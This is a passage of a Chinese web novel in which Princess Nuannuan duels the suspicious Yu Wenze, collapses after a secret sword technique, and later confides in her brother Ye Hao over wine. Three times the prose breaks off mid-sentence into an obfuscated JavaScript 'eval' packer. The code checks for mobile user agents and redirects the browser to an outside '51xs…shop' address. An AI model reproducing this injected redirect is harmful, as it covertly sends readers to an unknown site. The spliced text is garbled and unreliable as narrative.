“师老将军临终前告诉过我,他是可用之人,怎么?哥哥也留意过他?”叶皓有些不解,他怎么会留意此人。 叶均落下一子,笑道:“暖暖归京,我一直为她筹谋。先是看中了程旷,后来才知程旷是赵忠为他侄女师英玉看中的夫婿,君子不夺人所爱,我又看中了于文则。此前派他做引进使,也是为了试试他的能力与人品……” 他的话题有点跳脱,从朝政到暖暖,叶皓没有跟上,待他说完,叶皓才理解了他是想为暖暖找夫婿。 叶皓将棋子扔回棋子罐里,果断地拒绝了,甚至有些激动:“都不好,暖暖现在很好,她的事要她自己决定。” “这自然要她同意,我知道暖暖还没有走出来,可日子还长,她还小,以后的日子很长,不能因为这事将以后耽误了。”叶均见他如此情绪,有些不解。 叶皓态度坚决:“不行就是不行!” 叶均更加疑惑:“那你倒是说说为什么不行,难道你就忍心看她一直这样下去?” 叶皓也无法说出为什么。忽而听到外面有人敲门,侍从进来说道:“侧妃来给殿下送点心。” 听到侧妃,叶皓又是一阵气:书房重地,以前嫂嫂都不随便来,这杜兰芳倒是出入自由,虽说是为了牵制抑或是拉拢,也犯不着如此低三下四。 他抬头看着叶均,忽然感觉他这哥哥竟有些陌生,他可以利用杜兰芳,就可能利用暖暖,想到此处,他拍案而起,将棋盘上的棋子拂落在地,发出一片叮叮当当之声,问道:“莫不是你想利用暖暖来收买人?” 他居然会如此想,叶均听完心中一惊,有些不可思议地说道:“你发什么疯,你眼里的我就是这样的人吗?” “那就不要管暖暖的事!”叶皓说完便拂袖离开,在书房外遇见杜兰芳向他行礼问安,他正眼都没看一下。 杜兰芳送糕点进去,看见叶均正在捡拾棋子,忙扶他起来不满地说道:“殿下怎么能干这活,四殿下脾气也太急躁了些。” 叶均面带愠色,说道:“本王与他是越发不和了……还有书房重地,你也不要多来了。” “是,只是已过午时,妾担心饿坏了殿下。”杜兰芳说着递上一块芙蓉糕。 叶均犹豫了一下还是接过,说道:“去备午膳吧。” 精致的菜肴,叶均难以下咽,叶皓说的最后一句话让他如鲠在喉。先是夏萱,后是叶皓,至亲之人都开始怀疑他,这让也他陷入困惑:他所做的一切还值不值得。 花朝日暖,春色无边,石城湖畔,言语莺啼。 三月三这日又是一场盛大的集会,暖暖穿了一身绯色束袖窄衣,显得整个人都有了活力,那日回去后她想,若想重新开始那就要从自身改变做起,于是今日便选了一身艳丽的衣衫,只是师英玉不在,她也是百无聊赖。 叶皓见她还是一副闷恹恹的表情,便说道:“那边人多,去看看,说不定还能交到几个朋友。” 她看了一眼人群,都不相识,便没了兴趣:“不想去。” “那一会跟我上场,今天好好击一局。”今日叶皓可是卯足了劲头,想大胜而归。 说话间,文瑶款款而来,向二人行礼问安,问暖暖道:“郡主怎么自己一个人?不如跟我去投壶。” “是啊,去吧,好好玩玩。”叶皓也附和道。 盛情难却,暖暖只得起身向叶皓告退,文瑶向叶皓行礼告退,抬头正看见叶皓向她微笑点头示意,她中荡过一阵涟漪,玉颊浮上几缕红晕,含羞拉着暖暖走了。 暖暖只顾走路,与文瑶也没什么话说,自然也没有注意到文瑶旖旎的心事,文瑶反问了她一些饮食起居等问题,暖暖一一作答。 说来真是奇怪,师英玉问她这些的时候,她就可以热热闹闹地回答,可文瑶问她这些,她却觉得是被探及隐私,她不愿再多说,借着更衣的由头,向文瑶告辞。 她又去看了几处投壶、捶丸,到哪里都觉得自己与人群格不相入,索性带着画眉与舒雁往回走。 画眉似乎也松了口气说道:“听文家小姐说话这是累,明明想问殿下的事,却拐弯抹角说别的。” 暖暖这才恍然,原来如此,原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这人真是无理取闹,暖暖气得面色微红:“你……胡说……不要乱猜了……” “你的骑术和剑术高于常人,若不是经年的练习,是到不了这个水平的,我劝你最好现在就交代,或许还能有一条生路。”于文则毫不客气。 “你……无中生有,话本子看多了吧。”暖暖不想与他纠缠,换个方向想赶紧离开,正巧,见叶均从前面经过,她赶紧叫到:“三哥哥,三哥哥……” 于文则这才又闪到一边,对叶均行礼问安,解释道:“我正想请郡主击鞠一场。” “好,好……暖暖,既然出来了,别拘着。我还有点事,你们聊。”叶均笑着说完便走了。 “三哥,三哥……等等……”暖暖好不容易找到救星,却未能唤回叶均。 叶均来找叶皓,叶皓惊讶地问道:“三哥,你怎么来了?还穿得这么严实。” “我去宣州,途经此地,来与你说句话。” 叶皓屏退了左右,对他说道;“哥哥,我要向你道个歉,上次在你家书房,是我太激动了。我不该那样说你。”上次他与杜兰芳冲突,正在气头上,便口不择言,回去后后悔万分。 叶均本来就是想就此事来对叶皓解释一番,未想叶皓先道了歉,这两日的愁肠就忽而烟消云散了,他舒了口气说道:“那我就没什么事了,你能理解我就好。刚看到暖暖了,气色好了很多。” 说完示意他向暖暖的方向看去,于文则还在不依不饶地拦着暖暖说话。 “上次击鞠赛,是你安排于文则来的吧。”叶皓恍然大悟:“你还真是老谋深算。” “暖暖的事,我是让她自己做主,但也不能不管不问。” “你就不该管。”叶皓说完就听见铜锣响起,击鞠赛要开始了,他说道:“我要上场了,替我问嫂嫂妆安。”说罢二人告辞。 人流涌向击鞠场,于文则问不出什么,便说道:给你半场的时间考虑,下半场我在湖边棒槌石旁等你,如若不来,我便将你直接送至廷尉府。” 68. 蛾眉九秋霜 暖暖回去找叶皓,才知他已上场,思来想去,不能再让事情变严重,她决定赴约。 她皱着眉想了几套说辞,待叶皓下场后与他商量该如何说,可叶皓久久不至,她只好带着画眉、舒雁湖边棒槌石边。 棒槌石位于山坡的另一侧,湖边浅滩连着山坡的起始,很突兀的有两丈根石柱,上粗下细,形似棒槌,故而得名棒槌石。 于文则已在此等待,他选在这个时间,一是给郡主思考的时间,二是此时人们的注意力都被击鞠赛吸引,无人注意他们。 他手持两把长剑,将一把剑抛给暖暖,说道:“今日你若赢了我,一切既往不咎。你若输了,就随我一起去成王殿下处自首。” 听闻此言,暖暖未想到他竟然选了比剑的方式,心中有些好笑:白担心了!自首?自首什么?有什么好自首的?这个于文则不仅好事还自以为是,先与之比试几个回合,杀一杀他的锐气再说。 她拔出剑,将剑鞘交于舒雁,对她说道:“你们二人躲远点,以免被剑所伤。” 舒雁担忧地说道:“要不郡主将实情告诉于公子吧。” “我现在说,他未必能够相信,放心,我知道分寸。” 待舒雁与画眉二人躲入树后,暖暖行拱手礼说道:“请赐教。” 一青一红两道身影闪动,两条白仞之上,闪出凛冽的光芒,暖暖手中之剑犹如灵蛇出洞,一击即中,又如雷震,势不可挡。于文则巧妙地躲避,同时以攻为守,剑势连绵不断。他二人相互角力,忽前忽后,时而翻滚在地,时而跃起在空中。 暖暖终究是女子,体力不济渐渐落了下风。 舒雁见情景不对,便赶紧叫画眉去请叶皓过来。 画眉急急赶回,此时击鞠赛还有一半赛程,叶皓正在场上击得起兴。 画眉无法联系到叶皓急得简直要跳脚,只好找到季萧,焦急地说道:“郡主与人打了起来,请殿下快过去看看。” 季萧和韦素一听,简直觉得莫名其妙:郡主最是随和,怎会与人争执。但看着画眉汗涔涔的样子,只得想法通知叶皓,他捡起一颗石子,来到赛场边上,找准时机向叶皓的马弹了过去,马儿嘶鸣一声。 叶皓看向季萧,见他打了一个手势,便知有急事,于是向击鞠判官示意换人。 场外的人看得也正起兴,见叶皓下场,一片唏嘘。 下了场,他边整理衣服边问道:“什么事,这样急?” 画眉来不及行礼,焦急地说道:“殿下快随奴婢去看看,于文则与郡主打起来了,晚了怕郡主有危险……” 叶皓一听,背后一阵冷汗,忙让画眉带他们过去。 叶皓赶到时,只见剑影纷纷、只听剑声嗡鸣,他不由得眉头一皱,呵斥二人停下。 暖暖似乎进入了无我之境,已将自身化为一把利剑,眼前已无其它,却不断闪现与冷逸尘对剑的场面,她的剑招一次比一次凌厉。 在旁人看来,她好似走火入魔一般,任由人呼喊却也听不见。 最后一招白虹贯日,全身的气力全部化为剑气直逼于文则,那剑气卷着浮尘向他涌来,他后退几步翻身上树,才逃过剑气免于一难,心中后怕:好凌厉的剑招。 随着剑气出去,暖暖停了剑后,只觉全身空虚,气息乱窜,身体无力下坠,她单膝跪地,以剑支撑着身体,胸膛一热吐出一口鲜血来,眼前一黑,直挺挺地晕了过去。 叶皓见她峨眉紧蹙、面色发青、一股肃杀之气外溢,急忙上去正好接住她倒下去是身体,他摇着她,不停地呼唤着“暖暖、暖暖……”,可她却丝毫没有意识。 郡主好厉害的身手!于文则见暖暖倒地便也上前来,但见她吐血昏迷后,才知闯了大祸,心中忐忑,有些不知所措。 叶皓恶狠狠地看着他问道:“你为何要如此?” 于文则说了两个“我”字,就没有下文,他未想能惹出如此之事,一时间不知该如何向信王解释。 暖暖没有转醒的迹象,叶皓急命韦素架来马车,将她抱上上车急匆匆回王府去,一边又命季萧拿了名贴去请董太医。 回到王府,又是一阵忙乱,董太医赶到后,来不及讲究虚礼,细细搭了脉,又看了面色翻了眼皮后说道:“郡主肝郁气滞,气血运行不畅、阻塞经络,又急火攻心,因而吐血。当下需服些疏肝健脾的汤药。” 随后韦素便引他去开方子,之后由高管家封了诊金,安排软较送回,不在话下。 叶皓寸步不离的暖暖,于文则送来拜帖,说明日来拜访,他将拜帖直接摔了出去,告诉来人:他还敢来,若郡主有个三长两短,必要他偿命。 他再回到淡云阁,看着床上的暖暖,忧虑和不安中还着疑惑。 日影西斜,暖暖终于醒来过来,叶皓的眉头才略有松动,一边端起药喂给她一边问道:“你怎么就和于文则结下了梁子?” “不知哪里有误会,于文则说我是细作。” 这个说法真是出乎叶皓的意料,不过回想前些时日于文则问他的话,便也猜到了缘故,他无奈说道:“大约是怀疑你的身世,他可真是以管窥天,等有机会我自会向他说明。” 暖暖点点头,接药碗端过一饮而尽,说道:“一勺勺的喝太苦了,不如这样痛快……的确,我来路不明,难免惹人猜疑。” 叶皓接过药碗,待暖暖漱了口后,他屏退众人后说道:“不用管那些,我问你,他什么时候开始教你剑术的?” 这个问题太突然,暖暖甚至想来一下,才知叶皓所说的“他”是谁,她不愿再提前事,只沉默不语。 叶皓追问:“你最后一招白虹贯日,我都没有学到,你却能练到我师傅功力的三成,长右山的剑术,他教了你多少?” 看着他严肃且凝重的表情,暖暖觉得事情似乎有些严重,说道:“教了五式。” “这已是全部了……”果然不出叶皓所料,凌长风竟将剑术倾囊相授。 接着他向暖暖介绍了这剑法:“你所学是太一玄门剑法,长右剑宗荀秀峰自创,按五行划分,一共五式。分别为高山景行、海立云垂、白虹贯日、九天揽月、众星拱极,分别对应山、海、日、月、星。我在长右山只学得了长右剑法,还未来得及学习太一玄门剑法,便下来山。” 叶皓猜想:师傅已将剑法如数传给了长风,长风下山,师傅一定失望至极,不知之后他老人家又收了几个弟子?太一玄门剑法可有其他人传承? 暖暖见叶皓不言语,便叫了一声“哥哥”。 他回过神来,说道:“终究是我辜负了师傅。” “长右山一定是个很好的地方,让你们都这般向往。” 叶皓心中叹息:“往日之事不可追,等你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093259|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好些了,我再与你细说……感觉身体怎么样了?” 暖暖抬了抬胳膊:“没有力气。” “是那招白虹贯日消耗了太多的力气,估计要养几日才能恢复,晚膳想吃些什么?” 暖暖倒是觉得,吐了一口血后周身通透了一些,听到“晚膳”二字,觉得腹中真有些饥饿,便说道:“不拘什么,我什么都想吃。” 于是叶皓命人将晚膳送至淡云阁,一道山参炖鸡很合暖暖胃口,她连喝了两碗,又吃了两个小笼包。 待她要吃第三个包子,叶皓将包子端走:“你今日胃口倒是不错,晚间不要贪食。” 暖暖又端起一碗汤:“不知为何,开始有饿的感觉了。” “是好事,但也要循序渐进。” 暖暖点点头,放下了筷子。此时,门外有侍女进来对画眉耳语了几句,画眉上前奏报道:“高管家说宫中来人传消息。” 叶皓匆匆将碗中的粥喝完:“我去看看。”说完漱口净手后去了前堂。 暖暖命人将膳食收了,歪倚在案几,前看着墙上的日影渐渐被黑色的窗影侵蚀,她思量着今日之事,有几处记忆却十分模糊。她反复地捋顺,只记得与于文则过招,不知怎么的,于文则就变成了冷逸尘、湖边变成了海边、石滩变成了沙滩,耳边也只剩下海风的声音,之后天地一片黑暗,仿佛身归混沌。 再一睁眼,便是满屋的人焦急地看着她,中间发生了什么竟一无所知。再仔细回忆,却只觉半个头疼痛欲裂,胃部隐隐不适,她想或许是屋里太闷的缘故,于是她起身来到屋外,冰凉的空气让她觉得稍稍舒服一些。 舒雁拿着大氅走来,为暖暖披上。 暖暖却脱了下来:“已经没有那么冷了。” 舒雁执意要她披上:“郡主好似大病痊愈,还是注意些的好。” “晚膳有些贪食了,陪我走走吧。” 二人在淡云阁里沿着游廊慢行,有一搭无一搭地聊着。 “舒雁,我是怎么晕倒的?” “郡主刺了于公子一剑,虽刺在了空中,但周围草木都动了起来,然后郡主吐了血,就晕过去了,郡主就不该赴那竖子之约。”舒雁现在仍心有余悸。 暖暖揉了揉额头,那一剑之所以凌厉,是因为其中带着怨与恨,这这一剑本是刺向冷逸尘的!她心中疼痛:冷逸尘啊冷逸尘,我要将你忘记,为何这么难。 “郡主不要多想了,董太医叮嘱要‘少思虑、多宽心’。”舒雁看出郡主的不适,转移了话题,指着盆中花草说道:“这是新搬来的桂花树苗,等再暖和些就能移栽到院子里了。” “嗯……明日告诉高顺,换几盆茉莉来,花坛里再种些玉簪。”暖暖说完才发现,不知何时起她的喜好已经变了,变得和他一样了。 天色渐渐暗了下来,侍女们在走廊里点着上面挂的灯笼,她上前接过蜡烛,示意侍女退下。 舒雁也接过灯杆,将廊下的灯笼摘下,暖暖点燃里面的蜡烛,再由舒雁挂回去,二人慢慢走,慢慢点,烛光照亮走廊,将廊外枝丫照得影影绰绰。 忽而,身后传来叶皓的声音:“秉烛夜游,倒是别有一番风味。”说罢,接过舒雁手里的灯杆,说道:“退下吧。” 舒雁行礼告退,叶皓与暖暖继续漫步点灯笼,暖暖看着他愁容更甚,便问道:“宫中何事?” 69. 剑窥江湖事 叶皓摘下一盏灯笼:“我母妃病了,我明日进宫探望,你同我一起去吧。” “我……”暖暖犹豫了,她离开梁宫已经六年了,她的母亲死在那里,那里已经没有她的亲人了。 叶皓见她犹豫,又说道:“去看看父皇……” “父皇”这个词对她来说是那么陌生,她从来有过父爱,但她似乎又不缺父爱,在她的生活中顶替父亲角色的是叶均,所以,暖暖对这个生父,是那么的陌生。 她思量了一下,说道:“我……还是不去了,不知道该怎样面对,宫里有很多人都见过叶岚,我怕再惹出什么事情来,不好收拾。” 叶皓也不强求:“也罢,你身体还未好,等过些时日再去。” “替我向惠妃娘娘问安。”她抬头看看天色,一弯弦月孤零零地挂在天上。 叶皓又问:“好,今日当真是吓坏我了,看你的样子,像是走火入魔了,当时到底是怎么了?” “感觉体内有一股气息乱窜,找不到出路,后来就什么也不知道了,以前练剑时也没有这种情况……他练剑时,也没有过如此情况。” “他可曾和你说过练此剑术需注意什么?” 暖暖仔细回忆了一下后说道:“未曾,他说他也只是学得了皮毛,不曾真正领会其中的要义。” 叶皓听了若有所思,良久才说道:“想来,若参不透此剑法中的要义,对本体是有伤害的,怪不得师傅迟迟未将剑法传授……对了,以后不要练这剑术了,外人跟前也不可再用剑。” 灯笼全部点完,叶皓放下灯杆,说道:“不早了,休息吧,我走了。” 暖暖点点头,她走了这一会,已感觉好了许多,只待睡上一觉,明日就能大好了。 次日,她睁眼时已是天光大亮,终于觉得身上有了些力气,早膳还没用完,外面有人来报:于文则来拜访。 暖暖问道:“他来做什么?怎么不去告知哥哥?” 画眉回答:“殿下一早便进宫去了。” 暖暖便让画眉去回话:信王不在,于公子且先回去,等信王回来后,再差人告诉他。” 外面却说:“已经告诉于公子了,于公子说今日一定要见到殿下或郡主,这才来请示郡主的意思。” 这人还真是难缠!暖暖无奈:“且让于公子耐心等待,待她用完早膳便过去。” 她也不急,揣测着于文则来意,一口一口地细嚼慢咽,早膳毕,又去梳妆更衣。此番并不是她故意拖延,只是此事她还没和哥哥商量好如何对于文则解释,不知如何应对,思来想去她还是打算咬定以前的说法。 一个时辰之后,暖暖才从淡云阁出发,引路的侍从说:“这于公子很是有耐心,已经饮了三盏茶了,也不曾有催促之言。” 他倒是有耐心!暖暖进了正堂,清了清嗓子说道:“让于公子久等了,于公子是找我哥哥有什么急事吗?” 于文则起身见礼:“问郡主安,于某今日来是向郡主道歉,昨日是在下鲁莽了。” 暖暖心里诧异:他今日态度怎么这般好?难道他已经知晓实情了?她未挑明,试探着说道:“我也该给于公子赔个不是,昨日差点伤了于公子。” 未料文则直接说道:“郡主,在下有些事不太明白,想请郡主解惑。” “于公子请讲。” 可于文则却要求屏退左右,此时的正堂里除却他二人,还有韦素、舒雁、画眉及两个侍从,暖暖对两个侍从说道:“你们先下去吧。” 侍从二人应声而退。 暖暖礼貌一笑:“于公子请讲。” 于文则看着她身后的舒雁、画眉和负剑而立的韦素,欲言又止。 暖暖看出他的意思,说道:“他们无妨。” 她有意留下他们,一是二人单独相处于礼不合,二是万一于文则再动手,暖暖不是他的对手。虽然这里是信王府,于文则不敢乱来,可她还是怕有个万一。 于文则迟疑了一下,说道:“郡主可是长右……” “山”字还未出口,暖暖心里咯噔一下,只想着他会再次逼问身世,未想他竟然提及长右山,她急忙起身打断他:“于公子,借一步说话。”随后方觉失态,便换了说辞:“信王府的花园建得不错,我引于公子去游赏一番,可好?” “好……”于文则起身行了一礼,意味深长地看了她一眼。 暖暖按住内心慌乱,引着于文则向花园而行,舒雁、画眉、韦素远远地跟着,韦素紧握着手中的剑,死死地盯着于文则,以便救郡主于危难。 于文则先了开口:“郡主可是长右山弟子?” “不是。” “那怎么会长右山的剑法。” 既然剑术已被他识破,想装傻蒙混估计是不可能了,暖暖便小心翼翼地说道:“我的……一位故人曾是长右山弟子。” “这位故人应当与郡主关系匪浅,若不然怎会将长右山的秘传剑法教授与郡主。” 暖暖收回目光,轻抿了一下嘴唇,掌心已微微出汗,她悄悄将帕子攥住,摆出一副镇定自若的样子,将话题引回到于文则身上:“于公子怎知我的剑术是长右山秘传,既然你都能看出,那这剑术还算得上什么秘传?” “不瞒郡主,在下曾在崇阳山上做过一年外门弟子。”于文则回去后反复回忆了剑招,才想起那是长右剑术。 “崇阳宗……”暖暖恍然,怪不得之前看他的剑法像是受过训练的,原来如此,她继续追问:“那么,你怎么认得长右山剑法?” “虽说长右一派近年来在江湖上很少露面,但剑宗的武林大比,我曾见过长右山弟子。” 听闻此言,往事如潮水般涌来,暖暖不自觉得停住脚步,愣愣地看着于文则。当年的大比,长右山弟子身故,经各方调解后,此事便不了了之了,这么多年过去了,这件事,人们大概都渐渐遗忘了,没想到眼前之人竟是在场之人。 于文则见暖暖眼神奇怪,轻轻地唤了一声:“郡主?” “噢……”暖暖回过神来,继续向前走,不知该不该问大比之事,她行了一段路后,还是决定问一问:“当年大比,你可在场?” 于文则也不瞒他,将当年之事娓娓道来。当年,于文则行走江湖,遇见了崇阳宗的一位弟子,二人甚是投机,他左右无事,便跟着上了崇阳山。 大宗门派挑选弟子,先看禀赋天资,再看身世履历,一般都不愿收世家子弟为徒。原因有二:其一,世家子弟养尊处优娇生惯养,吃不了宗门里的苦;其二,江湖门派约定不干涉朝堂社稷,故而不愿与朝廷扯上什么关系。所以于文则只能当了个外门弟子,所学的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100170|149415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑术也只是一些浅显的剑术。 说来也巧,他刚上山半年,就赶上了剑宗大比,还正好在崇阳宗,这份运气不是谁都有的。 大比进行了一个月,各门派间互相切磋、交流,一派和谐,彼此也都增长了见识、结交了好友。不想招摇宗和长右宗的比试中,招摇宗暗中下了死手,致使长右宗弟子高丹阳死于苗刀之下。 “大比因此事暂停,经各宗派调停,此事也就过去了。我猜测是长右山近几年势弱,不足以与招摇宗对抗,另外长右山选弟子过于严苛了,导致门派弟子稀少,故而后来未听说长右山报仇一事。不过我倒听说长右山宗主的亲弟自成一派,曾收了两个得意弟子,可这两个弟子又纷纷下山,这一派后继无人,这位门主也含恨而终了。” “我听闻他有个女儿,我想应该就是大比上见到了那个女子,可不知为何这位门主没有将毕生所学传给她的女儿。我还听说,他年少时也曾云游四方,曾到南海与鲛人搏斗断了两根手指,也曾去极北之地冻掉了脚趾”接着于文则压低声音:“听说他与招摇宗圣女有过瓜葛……” 暖暖听他说的全是传言,而且越说越离谱,便打断他:“你听说的还挺多……” “那是,门派生活枯燥乏味,月寒日暖,总要有些话题来说说。怎么,你不知道这些事?”于文则倒是不避讳暖暖。 他见郡主的确不知情,便继续追问:“你那位故人没有对你说过这些?你剑术练到这个程度,没个十年八年的辛苦是成不了的,你确定这个人是真心教你剑术?不是利用你有别的目的?” 暖暖听了十分无奈,忍不住想笑,转头去看池中鱼,免得被他看出来。 于文则还在自顾自地说着:“郡主年纪小,须知人心不古、世道维艰,在下是看郡主人不坏,才与郡主说这些的,希望郡主还是早日走入正途为好。” 暖暖瞥了他一眼,只见他背着双手一副规劝的表情,这人可真是爱多管闲事,前几日还断定她是细作,今日又说她是被人利用。暖暖料定他心中也没个定论,便想着还是尽快打发了他为好,再任由他说下去,不知他会说出什么来。 于是说道:“多谢于公子好心提醒,实话对你讲了吧,我不是细作、也没有人要利用我,我与哥哥早就相识了,只是经涵关一战,机缘巧合下跟哥哥回来了,并不是公子想到那般。至于那位故人,我只跟他学了一段时间的剑术,后来他便避世归山林了。昨日我最后一招,不知为何会有如此威力,而且我也被它重伤。” 于文则思索着:也是,若是她对剑术熟练,怎会遭如此反噬。半晌,他悠悠地说了一句:“原来如此,你怎么不早说。” 暖暖心里翻了他几个白眼:你也没给我机会说呀。但还是保持礼貌说道:“于公子的担心,我也理解,毕竟我来历不明,但请公子相信,不要再猜测了。”说完缓缓施了一礼。 于文则马上行揖礼,说道:“不敢不敢。是在下多疑了。” “于公子,今日我哥哥不在,也不便多留公子。待哥哥回来,自会去拜访公子。”说罢,转头对韦素说道:“韦素,送于公子出府。” 韦素赶紧上前,持剑抱拳,说道:“于公子,这边请。” 于文则走后,暖暖长长地舒了一口气,紧绷的神经松懈下来,身体不稳向后摔去。 70. 醉酒认真心 舒雁眼疾手快,上前扶住着郡主坐定,只觉她手凉如冰,又见她面色苍白,赶紧着人去告知高管家请太医。 暖暖心有余悸,周身如脱了力一般,借着舒雁的手撑住身体,阻止道:“不必,回淡云阁。” 舒雁又令画眉回去拿件大氅来,拿出帕子将她额头上细密的汗珠擦掉,待将她包裹严实后,一行人方才回了淡云阁。 此时已到了晌午十分,外面有人来问:郡主何时用膳。 暖暖现下只想好好睡一觉,便对舒雁说道:“不必传膳了,我现在只想睡觉,不要让人来打扰,此事也不要外传。” 舒雁去外面吩咐一番,回来时她已歪在床上睡熟,舒雁轻轻安顿好她,放下了帐幔,她则在房中守着。 又是日暮十分,沉沉睡了半日,暖暖终于有了些精神,叶皓回府时 她刚刚沐浴完对着菱花镜发呆。 梳妆台上摆满了从祁国带回来的东西,这些东西是去重峪关路上泽生替她收拾好的,几经辗转,居然一件也没有丢。 叶皓回来才知于文则来过且见了郡主一事,又听闻郡主一日为用膳,便赶紧过来瞧瞧,但见暖暖无碍便也没多问。 他拿起一枚形制奇特的银簪,说道:“这枚簪子,看着倒是新奇。” “小心有毒。” 他听了立即放下,问道:“怎么会准备这么危险的东西。” “这是泽生打造的暗器,从燕北回祁京后,被浸了剧毒。”她又一一拿起其它的发簪说道:“这是他送我的……这是祁国崇安王妃送我的,那晚我提剑挡住了叛军,可她夫妻二人还是死在了我的身后……” “这是安如姑姑的,她引开刺客保护了我……这是侍女秋雨的,重峪关城楼上替我死的就是她……我还有一个侍女,名叫梧桐,她为我挡了一箭,死时什么也没留下,我都不知道她的尸首在哪里。” 叶皓听着,只觉脊背发凉,叛军、追杀,她在祁国经历的事远远比他知道的还要复杂,他一时眉头紧锁,问道:“你怎么会经历了这么多危险?三哥执意不让你再去祁国,我还责怪他没有询问你的意思,现在看来是我错了。” “前段时间,我一直睡不好,一闭眼全是噩梦,慌慌张张、匆匆忙忙,白日便是昏昏沉沉。回京后和玉姐姐日日游玩,玩得疲乏了倒也不想这些了。” 叶皓忽觉屋内沉闷,便说道:“走,我还有几坛好酒,边喝边聊。” 他命人在揽月亭掌了灯,置了席面,兄妹二人对坐而饮。 暖暖先将于文则一事告知于他,串一下说辞,以免日后言语间再出纰漏,末了叶岚感慨地说道:“这于文则真是难缠,怪不得玉姐姐见他就像见了瘟神一样。” 叶皓也有些惊讶:“不想他是崇阳宗的人,不过外门弟子算不得宗门之人,只能算是崇阳山之人……你可知他为何关注你?” “大约是比剑我露了马脚。” 叶皓笑道:“这是一方面……他是三哥哥给你挑的郎婿。” 暖暖听了微微一怔,觉得十分好笑:“真是乱点鸳鸯谱。” “三哥哥定是仔细思量对比过了,于文则是皇室亲眷,家中幼子,自有父兄支撑家族,也无需他建功立业,他本人也不错,性情爽朗,德才兼备,尤其是山水画颇为出众。” “我若是不知他是什么样的人,还真信了你的话,这都是给外人的。我与这个人说话,非常累。既要提防着他套我话,又要思量着自己的话里有没有破绽,与他说了一会话,倒如搬了千斤石一般。” 叶皓见暖暖已用了半碗粥,便打开一坛酒,笑道:“那是你心中有私,倒也怨不得他。” 暖暖有些不满:“说来他对我具以实告,而我有意隐瞒,倒是我的错了。不过,错就错吧,这个人闲言太多,喜窥人隐私,又固执己见,保不准以后会编排出什么来。道听途说、以讹传讹,这一点,他挺讨厌的。” 叶皓笑笑未语,暖暖见他眉间有忧色,一杯一杯不停地饮着,便拿过他的酒杯,问道:“你怎么了?今日入宫发生了什么事?娘娘身体如何了?” “身体无大碍,受了风寒,咳嗽不止。”叶皓拿过自己的酒杯,自斟自饮了两杯,然后说道:“让我探病是假,想看女子是真。” “什么?”暖暖一口酒没有咽下,笑得咳了出来,原来是被逼着相亲去了,她笑道:“看来我要有新嫂嫂了,是谁家的女子?” “说了你也不认识,这两年母妃催我催得紧。” “算来你也不小了,三哥哥在你这个年龄已经成亲了。” 叶皓苦笑一声:“他是遇到了嫂嫂,他想娶的女子,可我想娶的人,大家都不同意。” “锦瑟?”暖暖一下就想到了她,不由得脱口而出。 “是。”叶皓毫不避讳。 “我以前一直以为你不婚,是为了荀婉婉,直到那日你们在揽月亭抚琴,我才看出你原来是为了她。” 提到荀婉婉,叶皓只觉恍若隔世,感慨道:“这些他都和你说了?你们真是高看我了,我哪有那般痴情。我在外这么多年,遇到过不少女子,娇艳妩媚的、清丽淡雅的,大家闺秀也有,出身风尘也有,可让我生出与之长相守的,只有锦瑟一人。” “可是……”暖暖不禁想到那日看到锦瑟与杜纯之在一起,她没有继续说下去。 “可是什么?你是想说她身在乐籍、还是想说我身为皇子,不该有此想法。” 暖暖摇摇头,不知如何开口,饮了一杯后说道:“都不是,我从未这样想过。我记得你说过‘这个世界从来不是公平的,真正的众生平等只有“活着”和“死亡”。我那时小不明白、不懂得,可经历了这么多,我多少有些理解了。我能看出你对她有意,但我现在不确定她是否还对你有情。” 叶皓将目光从酒杯上转向她,疑惑道:“此话怎讲?你如何知道。” 暖暖扯了谎:“偶然间碰到的,与她交谈了几句,我想她的意思是不想做笼中雀。” “笼中雀?笼中雀……”叶皓半眯着眼睛,仔细回忆,此前他与锦瑟说置办宅子,大约是她误会其中的意思了,所以她拒绝了他,只是他当时满心欢喜,未曾察觉。 想到此处,忽觉他与锦瑟还有转圜的余地,心中不免有些暗喜,忽觉这周围的烛光都明亮了起来。 他坐正了身子,转了话题:“别说我的事了……‘愿得一心人、白首不相离’,我总是羡慕哥哥嫂嫂,可他们之间还有一个杜兰芳,竟还到了如今这个地步。” “我姐姐,是知进退、识大体的。” 叶皓冷笑一声,说道:“知进退,识大体,不过是无奈罢了,她心里比谁都苦。我若是嫂嫂,不会让哥哥选这一步;我若是哥哥,也不会选择这一步。” “你倒是比我了解我姐姐。唉,也不知道他们会不会走到最后。”暖暖心中不免担忧起来。 “放心他们分不开。” “上次你就这么说,你怎么这么笃定,我看姐姐是有些心灰意冷了。” “夏老先生是个老学究,他教育子女必定是:妇人贞吉,从一而终也。在云琴的事情上,就能看出来,云琴嫁与江源,都不能算是再嫁,可嫂嫂竟与她到了不相往来境地。” 暖暖摇头否认道:“非也,非也!我姐姐大概是怨云琴事事决断,未与她言明,不过在这件事上,也是云琴无情了些。” 叶皓说道:“她一个弱女子,总要在这世上活下去,她做得又有什么错。先不说别人,细想来,咱们兄弟姐妹几个,竟没有一个平顺的。” “怎么说?”暖暖拿起酒坛倒酒,倒了几滴便没有了,她使劲倒了倒,又用眼睛仔细看看里面,确定真的没有了才放下。 